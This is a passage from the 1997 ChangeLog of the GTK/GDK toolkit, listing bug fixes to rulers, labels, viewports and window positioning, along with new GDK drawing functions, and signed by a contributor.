* gtk/gtkvruler.c (gtk_vruler_draw_ticks):
* gtk/gtkhruler.c (gtk_hruler_draw_ticks): Ensure that subticks
always are drawn when they should be (sometimes they were getting
drawn with zero length --- invisible). Also clear rectangle
behind text labels to ensure they don't touch or overlap ticks.
Mon Nov 24 1997 Jay Painter <jpaint@serv.net>
* gtk/gtkaspectframe.c (gtk_aspect_frame_set):
gtk-dairiki-971117-0.patch
Clear window when aspect ratio or alignment is changed.
Mon Nov 24 1997 Jay Painter <jpaint@serv.net>
* gtk/gtkobject.h: fixed GTK_OBJECT_NSIGNALS macro
Mon Nov 24 1997 Jay Painter <jpaint@serv.net>
* gtk/gtklabel.h: modified gtklabel to clip its drawing to
its given area, now it will always draw in the area it's
been given and clip accordingly. Note: this may cause
the a label to disappear on widgets which don't give their
child labels proper area!
Mon Nov 17 1997 Jay Painter <jpaint@serv.net>
* gtkviewport.c: Raph's Mon, 10 Nov 1997 patch to gtk-list
to fix some viewport bugs
Mon Nov 17 1997 Jay Painter <jpaint@serv.net>
* gtk/gtkwidget.c: gtk-ajaborsk-971016-2
A little patch again to prevent user to use
gtk_widget_set_events()
when a widget is already realized.
In this case, the gtk_widget_set_events() doesn't work.
Mon Nov 17 1997 Jay Painter <jpaint@serv.net>
* gtk/gtkwindow.c: gtk-ajaborsk-971016-1
This small patch correct position for GTK_WIN_POS_CENTER and
GTK_WIN_POS_MOUSE GtkWindow positions.
Sat Nov 15 1997 Jay Painter <jpaint@serv.net>
* gdk/gdkgc.c: added function gdk_gc_set_clip_rectangle
* gdk/gdk.h: header for above
Sat Nov 15 1997 Jay Painter <jpaint@serv.net>
* gdk/gdkgc.c: added function gdk_gc_set_clip_rectangle
* gdk/gdk.h: header for above
Wed Nov 12 1997 Jay Painter <jpaint@serv.net>
* gdk/gdkpixmap.c: Patrice Fortier's patch for transparent
pixmaps.
* gdk/gdk.h:
gdk/gdkdraw.c: Patrice Fortier's patch to add pixel draw
function.
-----------------------------------------------------------------------
Jay Painter -- jpaint@serv.net -- jpaint@gimp.org -- jpaint@real.com
http://www.serv.net/~jpaint